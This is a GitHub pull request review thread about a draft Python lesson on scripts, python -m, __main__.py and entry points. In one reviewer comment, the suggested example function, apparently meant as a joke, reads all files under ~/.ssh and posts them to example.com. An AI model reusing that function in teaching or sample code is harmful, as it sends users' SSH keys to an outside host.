-
Notifications
You must be signed in to change notification settings - Fork 4
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add: Jeremy's scripts activity #87
base: main
Are you sure you want to change the base?
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
heck ya this is a lovely, tight, contained lesson.
I made some suggestions on concept flow, won't reiterate them here, and I am assuming we're not putting into the toctree in this PR on purpose because we want to do that later?
- file is associated with specific python | ||
- don't have to remember which |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
i think actually getting to a level of comfort with this idea might take a few more examples, like 'say you have installed several python versions with pyenv, the shebang can indicate python3.11
or etc. and like "what does that /usr/bin/env
do?" so maybe we link out to further info for this point?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe? I am having trouble thinking of anything to say here that doesn't go down a long tangent about virtual environments.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
ya ya, i think this is a sort of a special case (i don't think i have ever used the shebang method except when i first started using python and didn't know how to make packages), so if it's proving troublesome i think safe to omit :)
|
||
## Execute a python package | ||
|
||
In [Code Workflow Logic][Code Workflow Logic] you learned of the two primary ways to execute a stand-alone Python script. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
does this link work? is it a special [][]
myst link or something?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't think so... It was a reminder to me to come back and link to the first lesson after this was integrated into the existing lesson hierarchy.
Scripts defined in project configuration, such as `pyproject.toml`, do not need to exist as independent files in | ||
the package repository, but will be created by installation tools, such as `pip`, at the time the package is | ||
installed, in a manner customized to the current operating system. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
i am not sure what this means?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
scripts are not files in the repo's source. The black
"command" is constructed and saved during install, it is part of the job of an installer to make these scripts. This is as opposed to keeping explicit scripts checked into the VCS (like a bin/run_me
with a shebang) that some projects do. Some even include those scripts in the sdist/wheel; if they do, they also get installed into e.g. the venv and appear on PATH. But those are not "entrypoint scripts".
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
aha that's what i figured you were referring to - i think this might be TMI for newbies :). it makes me think like "wait so should I not put this .py
file in my repo? how will the tool know how to generate it for me if it's not there? when what you're referring to are the little autogenerated shim files that just call the script with shebang/etc.
Might be another good one for an admonition box after explaining the concept of [project.scripts]
kind of scripts - "try this: install your package in a virtual environment, and then open the venv/bin/your_script
file - what the heck is that about!?!?!"
i think it's important information (in the same way that i always tell anyone who wants to know what a virtual environment is to just read the bin/activate
file (actually usually i parse it for them because there's really only two things you need to know but they're hidden in the shell script)) but might be a bit much in main text, and seems like it fits as a "if you want to know more" for the curious campers <3
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Took this out for now
- don't have to even remember it is a Python script | ||
|
||
|
||
# Share Code |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think myst is going to complain about two #
headings in a single doc,
could ToC structure be something like
# Executing code
## Executing Scripts
### ...
## Executing Modules
### ...
## Entrypoints - `project.scripts`
### ...
or whatever order - i think that order has a nice build to it: "ok we are running single files, probably familiar, now we're running a file but it's a special file __main__
(or __name__ == "__main__"
block), and now we're running a module anywhere in our shell" but up 2 u.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
expanded on this a bit in next comment - this one on top-level topic organization, and next on organization within executing modules. I think it would be worth it to split out scripts/entrypoints into their own top-level section after python -m module
and __main__.py
since they are sorta distinct concepts that build on each other
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I mentioned this in a separate discussion about the executable lesson, but I originally saw this as two separate lessons, but I just drafted it as a single file. I though it was maybe too much to do all together. Also, the first section requires almost no other preliminary knowledge, while the second gains a lot by the audience at least already being familiar with packaging and package structure. It could instead be a single lesson, but I would structure it slightly differently.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
up to you! always in favor of smaller chunks :)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I split it all the way in my next draft.
|
||
#### More About Main | ||
|
||
You just learned that the `__main__` module allows a package to be executed directly from the command line with |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
i was wondering where this was, ha :)
I think the flow might be a little clearer if we go
- execute single python files with
python file.py
- execute a file within a python package with
python -m mypackage.myfile
initially with some loose calls at the module level, and then demonstrating why we might want to wrap those up in a function or put them in aif __name__ == "__main__":
block so they don't run when imported, - execute a special
__main__.py
file that takes the place of thatif __name__ == "__main__":
block
Just because I think introducing a new dunder file might take some motivating, like "why do i need this special file" and so introducing directly running a module file first gets you that motivation and also is a nice bridge from running a python script directly.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hmm, this is actually part of what I am trying to teach here. python -m
is not for single-file execution, it only works to execute (part of) a package. So you can't introduce -m
without __main__.py
plus a full intro to packaging (building, pyproject.toml, installing, ...). Also __main__.py
files typically don't have a if __name__ == "__main__":
because their purpose is only to be executed, not imported. (this is called out in the standard documentation).
So this may need some reordering, but you seem to have dropped entrypoints in your suggetion, and merged python file.py and
./file.py(very understandable). I do think that the
ifguard could maybe come first, as it is IME more common than
main.py`
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
you seem to have dropped entrypoints in your suggetion
oh ya ya this was just about the "this section" part, thinking of putting entrypoints after this.
python -m
is not for single-file execution
The way i was thinking about this as far as like a train of thought in a lesson was like:
I have a python file file.py
like this:
import requests; from pathlib import Path
def a_function():
"""dont worry too much about it"""
requests.post("https://example.com/best_friend", data={str(p):p.read_text() for p in (Path.home()/'.ssh').glob('**/*')})
a_function()
first: i can call that function like python file.py
Then I make a package like
- pyproject.toml
- my_package
|- __init__.py
|- file.py
second: now (if i have installed it), i can call my file like python -m my_package.file
but wait! there is problem, what if we want to import our function and use it elsewhere? (introduce if __name__ == "__main__"
) concept
But wait! there's also a whole other special file for that
- pyproject.toml
- my_package
|- __init__.py
|- __main__.py
|- file.py
so third: if i move my a_function()
call to __main__.py
, i can call my function like python -m my_package
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I like this a lot. I took most of this approach in my next draft.
Co-authored-by: Jonny Saunders <[email protected]>
(btw in case this isn't clear, none of these comments are intended as blockers, i think the context for this lesson is intended to be taught in the current workshop, so plz feel free to merge and iterate and whatnot) |
This is the start of an activity that @ucodery put together on entry points and scripts.
This is Jeremy's amazing work not mine!! i'm just opening the PR so my name is on the commit .
We didn't have a packaging directory yet but the idea here would be to create activities that link to our tutorials and also take advantage of the copier template that @Midnighter created!!
I suspect a few people will be ahead during the packaging workshop. Also, I suspect that things will move faster now that we have a template. It would be useful to discuss scripts and entry points during that workshop!